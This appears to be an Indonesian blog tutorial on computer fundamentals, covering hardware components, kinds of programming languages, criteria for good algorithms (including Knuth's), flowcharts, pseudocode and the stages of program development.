Secara garis besar komputer tersusun atas empat komponen utama yaitu, piranti masukan, piranti keluaran, unit pemroses utama, dan memori. Unit pemroses utama (Central Processing Unit – CPU) adalah “otak” komputer, yang berfungsi mengerjakan operasi-operasi dasar seperti operasi perbandingan, operasi perhitungan, operasi membaca, dan operasi menulis. Memori adalah komponen yang berfungsi menyimpan atau mengingatingat.
Yang disimpan di dalam memori adalah program (berisi operasi-operasi yang akan dikerjakan oleh CPU) dan data atau informasi (sesuatu yang diolah oleh operasi-operasi). Piranti masukan dan keluaran (I/O devices) adalah alat yang memasukkan data atau program ke dalam memori, dan alat yang digunakan komputer untuk mengkomunikasikan hasil-hasil aktivitasnya. Contoh piranti masukan antara lain, papan kunci (keyboard), pemindai (scanner), dan cakram (disk). Contoh piranti keluaran adalah, layar peraga (monitor), pencetak (printer), dan cakram.

Mekanisme kerja keempat komponen di atas dapat dijelaskan sebagai berikut. Mula-mula program dimasukkan ke dalam memori komputer. Ketika program dilaksanakan (execute), setiap instruksi yang telah tersimpan di dalam memori dikirim ke CPU. CPU mengerjakan operasioperasi yang bersesuaian dengan instruksi tersebut. Bila suatu operasi memerlukan data, data dibaca dari piranti masukan, disimpan di dalam memori lalu dikirim ke CPU untuk operasi yang memerlukannya tadi. Bila proses menghasilkan keluaran atau informasi, keluaran disimpan ke dalam memori, lalu memori menuliskan keluaran tadi ke piranti keluaran (misalnya dengan menampilkannya di layar monitor).
6.  Belajar Memprogram dan Belajar Bahasa Pemrograman
Belajar memprogram tidak sama dengan belajar bahasa pemrograman. Belajar memprogram adalah belajar tentang metodologi pemecahan masalah, kemudian menuangkannya dalam suatu notasi tertentu yang mudah dibaca dan dipahami. Sedangkan belajar bahasa pemrograman berarti belajar memakai suatu bahasa aturan-aturan tata bahasanya, pernyataan-pernyataannya, tata cara pengoperasian compiler-nya, dan memanfaatkan pernyataan-pernyataan tersebut untuk membuat program yang ditulis hanya dalam bahasa itu saja. Sampai saat ini terdapat puluhan bahasa pemrogram, antara lain bahasa rakitan (assembly), Fortran, Cobol, Ada, PL/I, Algol, Pascal, C, C++, Basic, Prolog, LISP, PRG, bahasabahasa simulasi seperti CSMP, Simscript, GPSS, Dinamo. Berdasarkan terapannya, bahasa pemrograman dapat digolongkan atas dua kelompok besar :
  • Bahasa pemrograman bertujuan khusus. Yang termasuk kelompok ini adalah Cobol (untuk terapan bisnis dan administrasi). Fortran (terapan komputasi ilmiah), bahasa rakitan (terapan pemrograman mesin), Prolog (terapan kecerdasan buatan), bahasa-bahasa simulasi, dan sebagainya.
  • Bahasa perograman bertujuan umum, yang dapat digunakan untuk berbagai aplikasi. Yang termasuk kelompok ini adalah bahasa Pascal, Basic dan C. Tentu saja pembagian ini tidak kaku. Bahasabahasabertujuan khusus tidak berarti tidak bisa digunakan untuk aplikasi lain. Cobol misalnya, dapat juga digunakan untuk terapan ilmiah, hanya saja kemampuannya terbatas. Yang jelas, bahasabahasa pemrograman yang berbeda dikembangkan untuk bermacam-macam terapan yang berbeda pula.
Berdasarkan pada apakah notasi bahasa pemrograman lebih “dekat” ke mesin atau ke bahasa manusia, maka bahasa pemrograman dikelompokkan atas dua macam :
  • Bahasa tingkat rendah. Bahasa jenis ini dirancang agar setiap instruksinya langsung dikerjakan oleh komputer, tanpa harus melalui penerjemah (translator). Contohnya adalah bahasa mesin. CPU mengambil instruksi dari memori, langsung mengerti dan langsung mengerjakan operasinya. Bahasa tingkat rendah bersifat primitif, sangat sederhana, orientasinya lebih dekat ke mesin, dan sulit dipahami manusia. Sedangkan bahasa rakitan dimasukkan ke dalam kelompok ini karena alasan notasi yang dipakai dalam bahasa ini lebih dekat ke mesin, meskipun untuk melaksanakan instruksinya masih perlu penerjemahan ke dalam bahasa mesin.
  • Bahasa tingkat tinggi, yang membuat pemrograman lebih mudah dipahami, lebih “manusiawi”, dan berorientasi ke bahasa manusia (bahasa Inggris). Hanya saja, program dalam bahasa tingkat tinggi tidak dapat langsung dilaksanakan oleh komputer. Ia perlu diterjemahkan terlebih dahulu oleh sebuah translator bahasa (yang disebut kompilator atau compiler) ke dalam bahasa mesin sebelum akhirnya dieksekusi oleh CPU. Contoh bahasa tingkat tinggi adalah Pascal, PL/I, Ada, Cobol, Basic, Fortran, C, C++, dan sebagainya.
Bahasa pemrograman bisa juga dikelompokkan berdasarkan pada tujuan dan fungsinya. Di antaranya adalah :

7.  Menilai Sebuah Algoritma

Ketika manusia berusaha memecahkan masalah, metode atau teknik yang digunakan untuk memecahkan masalah itu ada kemungkinan bisa banyak (tidak hanya satu). Dan kita memilih mana yang terbaik di antara teknikteknik itu. Hal ini sama juga dengan algoritma, yang memungkinkan suatu permasalahan dipecahkan dengan metode dan logika yang berlainan. Yang menjadi pertanyaan adalah bagaimana mengukur mana algoritma yang terbaik?. Beberapa persyaratan untuk menjadi algoritma yang baik adalah :
  • Tingkat kepercayaannya tinggi (realibility). Hasil yang diperoleh dari proses harus berakurasi tinggi dan benar.
  • Pemrosesan yang efisien (cost rendah). Proses harus diselesaikan secepat mungkin dan frekuensi kalkulasi yang sependek mungkin.
  • Sifatnya general. Bukan sesuatu yang hanya untuk menyelesaikan satu kasus saja, tapi juga untuk kasus lain yang lebih general.
  • Bisa dikembangkan (expandable). Haruslah sesuatu yang dapat kita kembangkan lebih jauh berdasarkan perubahan requirement yang ada.
  • Mudah dimengerti. Siapapun yang melihat, dia akan bisa memahami algoritma Anda. Susah dimengertinya suatu program akan membuat susah di-maintenance (kelola).
  • Portabilitas yang tinggi (portability). Bisa dengan mudah diimplementasikan di berbagai platform komputer.
  • Precise (tepat, betul, teliti). Setiap instruksi harus ditulis dengan seksama dan tidak ada keragu-raguan, dengan demikian setiap instruksi harus dinyatakan secara eksplisit dan tidak ada bagian yang dihilangkan karena pemroses dianggap sudah mengerti. Setiap langkah harus jelas dan pasti.
Contoh :   Tambahkan 1 atau 2 pada x.
Instruksi di atas terdapat keraguan.
  • Jumlah langkah atau instruksi berhingga dan tertentu. Artinya, untuk kasus yang sama banyaknya, langkah harus tetap dan tertentu meskipun datanya berbeda.
  • Efektif. Tidak boleh ada instruksi yang tidak mungkin dikerjakan oleh pemroses yang akan menjalankannya.
Contoh :   Hitung akar 2 dengan presisi sempurna.
Instruksi di atas tidak efektif, agar efektif instruksi tersebut diubah.
Misal : Hitung akar 2 sampai lima digit di belakang koma.
  • Harus terminate. Jalannya algoritma harus ada kriteria berhenti. Pertanyaannya adalah apakah bila jumlah instruksinya berhingga maka pasti terminate?
  • Output yang dihasilkan tepat. Jika langkah-langkah algoritmanya logis dan diikuti dengan seksama maka dihasilkan output yang diinginkan.
Sedangkan kriteria Algoritma menurut Donald E. Knuth adalah :
  1. Input: algoritma dapat memiliki nol atau lebih inputan dari luar.
  2. Output: algoritma harus memiliki minimal satu buah output keluaran.
  3. Definiteness (pasti): algoritma memiliki instruksi-instruksi yang jelas dan tidak ambigu.
  4. Finiteness (ada batas): algoritma harus memiliki titik berhenti (stopping role).
  5. Effectiveness (tepat dan efisien): algoritma sebisa mungkin harus dapat dilaksanakan dan efektif. Contoh instruksi yang tidak efektif adalah: A = A + 0 atau A = A * 1
Namun ada beberapa program yang memang dirancang untuk unterminatable : contoh Sistem Operasi.
8.  Penyajian Algoritma
Penyajian algoritma secara garis besar bisa dalam 2 bentuk penyajian yaitu tulisan dan gambar. Algoritma yang disajikan dengan tulisan yaitu dengan struktur bahasa tertentu (misalnya bahasa Indonesia atau bahasa Inggris) dan pseudocode. Pseudocode adalah kode yang mirip dengan kode pemrograman yang sebenarnya seperti Pascal, atau C, sehingga lebih tepat digunakan untuk menggambarkan algoritma yang akan dikomunikasikan kepada pemrogram. Sedangkan algoritma disajikan dengan gambar, misalnya dengan flowchart. Secara umum, pseudocode mengekspresikan ide-ide secara informal dalam proses penyusunan algoritma. Salah satu cara untuk menghasilkan kode pseudo adalah dengan meregangkan aturan-aturan bahasa formal yang dengannya versi akhir dari algoritma akan diekspresikan. Pendekatan ini umumnya digunakan ketika bahasa pemrograman yang akan digunakan telah diketahui sejak awal.

Flowchart merupakan gambar atau bagan yang memperlihatkan urutan dan hubungan antar proses beserta pernyataannya. Gambaran ini dinyatakan dengan simbol. Dengan demikian setiap simbol menggambarkan proses tertentu. Sedangkan antara proses digambarkan dengan garis penghubung. Dengan menggunakan flowchart akan memudahkan kita untuk melakukan pengecekan bagian-bagian yang terlupakan dalam analisis masalah. Di
samping itu flowchart juga berguna sebagai fasilitas untuk berkomunikasi antara pemrogram yang bekerja dalam tim suatu proyek.
Ada dua macam flowchart yang menggambarkan proses dengan komputer, yaitu :
  • Flowchart sistem yaitu bagan dengan simbol-simbol tertentu yang menggambarkan urutan prosedur dan proses suatu file dalam suatu media menjadi file di dalam media lain, dalam suatu sistem pengolahan data. Beberapa contoh Flowchart sistem:

  • Flowchart program yaitu bagan dengan simbol-simbol tertentu yang menggambarkan urutan proses dan hubungan antar proses secara mendetail di dalam suatu program.

Kaidah-Kaidah Umum Pembuatan Flowchart Program
Dalam pembuatan flowchart Program tidak ada rumus atau patokan yang bersifat mutlak. Karena flowchart merupakan gambaran hasil pemikiran dalam menganalisis suatu masalah dengan komputer. Sehingga flowchart yang dihasilkan dapat bervariasi antara satu pemrogram dengan yang lainnya. Namun secara garis besar setiap pengolahan selalu terdiri atas 3 bagian utama, yaitu :
  1. Input,
  2. Proses pengolahan dan
  3. Output

Untuk pengolahan data dengan komputer, urutan dasar pemecahan suatu masalah:
  1. START, berisi pernyataan untuk persiapan peralatan yang diperlukan sebelum menangani pemecahan persoalan.
  2. READ, berisi pernyataan kegiatan untuk membaca data dari suatu peralatan input.
  3. PROSES, berisi kegiatan yang berkaitan dengan pemecahan persoalan sesuai dengan data yang dibaca.
  4. WRITE, berisi pernyataan untuk merekam hasil kegiatan ke peralatan output.
  5. END, mengakhiri kegiatan pengolahan.
Walaupun tidak ada kaidah-kaidah yang baku dalam penyusunan flowchart, namun ada beberapa anjuran :
  1. Hindari pengulangan proses yang tidak perlu dan logika yang berbelit sehingga jalannya proses menjadi singkat.
  2. Jalannya proses digambarkan dari atas ke bawah dan diberikan tanda panah untuk memperjelas.
  3. Sebuah flowchart diawali dari satu titik START dan diakhiri dengan END.
Berikut merupakan beberapa contoh simbol flowchart yang disepakati oleh dunia pemrograman :

Untuk memahami lebih dalam mengenai flowchart ini, akan diambil sebuah kasus sederhana.

Kasus : Buatlah sebuah rancangan program dengan menggunakan flowchart, mencari luas persegi panjang.


Solusi : Perumusan untuk mencari luas persegi panjang adalah :
L = p . l
di mana, L adalah Luas persegi panjang, p adalah panjang persegi, dan l adalah lebar persegi.
Keterangan :
  1. Simbol pertama menunjukkan dimulainya sebuah program.
  2. Simbol kedua menunjukkan bahwa input data dari p dan l.
  3. Data dari p dan l akan diproses pada simbol ketiga dengan menggunakan perumusan L = p. l.
  4. Simbol keempat menunjukkan hasil output dari proses dari simbol ketiga.
  5. Simbol kelima atau terakhir menunjukkan berakhirnya program dengan tanda End.
9.  Struktur Dasar Algoritma
Algoritma berisi langkah-langkah penyelesaian suatu masalah. Langkah-langkah tersebut dapat berupa runtunan aksi (sequence), pemilihan aksi (selection), pengulangan aksi (iteration) atau kombinasi dari ketiganya. Jadi struktur dasar pembangunan algoritma ada tiga, yaitu:
  1. Struktur Runtunan
  2. Digunakan untuk program yang pernyataannya sequential atau urutan.
  3. Struktur Pemilihan
  4. Digunakan untuk program yang menggunakan pemilihan atau penyeleksian kondisi.
  5. Struktur Perulangan
  6. Digunakan untuk program yang pernyataannya akan dieksekusi berulang-ulang.

Dalam Algoritma, tidak dipakai simbol-simbol / sintaks dari suatu bahasa pemrograman tertentu, melainkan bersifat umum dan tidak tergantung pada suatu bahasa pemrograman apapun juga. Notasi-notasi algoritma dapat digunakan untuk seluruh bahasa pemrograman manapun.
Definisi Pseudo-code
Kode atau tanda yang menyerupai (pseudo) atau merupakan penjelasan cara menyelesaikan suatu masalah. Pseudo-code sering digunakan oleh manusia untuk menuliskan algoritma.
Contoh kasus : mencari bilangan terbesar dari dua bilangan yang diinputkan
Solusi Pseudo-code :
  1. Masukkan bilangan pertama
  2. Masukkan bilangan kedua
  3. Jika bilangan pertama > bilangan kedua maka kerjakan langkah 4, jika tidak, kerjakan langkah 5.
  4. Tampilkan bilangan pertama
  5. Tampilkan bilangan kedua
Solusi Algoritma :
  1. Masukkan bilangan pertama (a)
  2. Masukkan bilangan kedua (b)
  3. if a > b then kerjakan langkah 4
  4. print a
  5. print b
Contoh Lain Algortima dan Pseudo-code :

10.  Tahapan dalam Pemrograman
Langkah-langkah yang dilakukan dalam menyelesaikan masalah dalam pemrograman dengan komputer adalah :
  • Definisikan Masalah
  • Buat Algoritma dan Struktur Cara Penyelesaian
  • Menulis Program
  • Mencari Kesalahan
  • Uji dan Verifikasi Program
  • Dokumentasi Program
  • Pemeliharaan Program
Description: Rating: 4.5 Reviewer: Unknown - ItemReviewed:

World Globe

Widget

Visitors

Flag Counter
Blogger Widgets
Powered by Blogger.

Translate

Popular Posts

My Signature Preview

Followers